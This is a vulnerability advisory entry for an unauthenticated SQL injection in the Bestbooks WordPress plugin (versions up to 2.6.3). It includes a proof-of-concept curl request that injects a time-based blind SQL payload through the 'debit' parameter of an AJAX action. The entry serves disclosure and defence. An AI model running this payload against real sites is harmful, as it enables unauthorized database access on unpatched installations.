Lucene search

K
wpvulndbCydaveWPVDB-ID:0D208EBC-7805-457B-AA5F-FFD5ADB2F3BE
HistoryMay 17, 2022 - 12:00 a.m.

Bestbooks <= 2.6.3 - Unauthenticated SQLi

2022-05-1700:00:00
cydave
wpscan.com
7
sql injection
unauthenticated users
ajax action
bestbooks plugin

EPSS

0.04

Percentile

92.1%

The plugin does not sanitise and escape some parameters before using them in a SQL statement via an AJAX action, leading to an SQL Injection exploitable by unauthenticated users

PoC

Affected parameters: credit and debit curl https://example.com/wp-admin/admin-ajax.php \ --data ‘action=bestbooks_add_transaction&type;=x&account;=x&date;=x&description;=3&debit;=(CASE WHEN (9277=9277) THEN SLEEP(5) ELSE 9277 END)&credit;=1’

EPSS

0.04

Percentile

92.1%

Related for WPVDB-ID:0D208EBC-7805-457B-AA5F-FFD5ADB2F3BE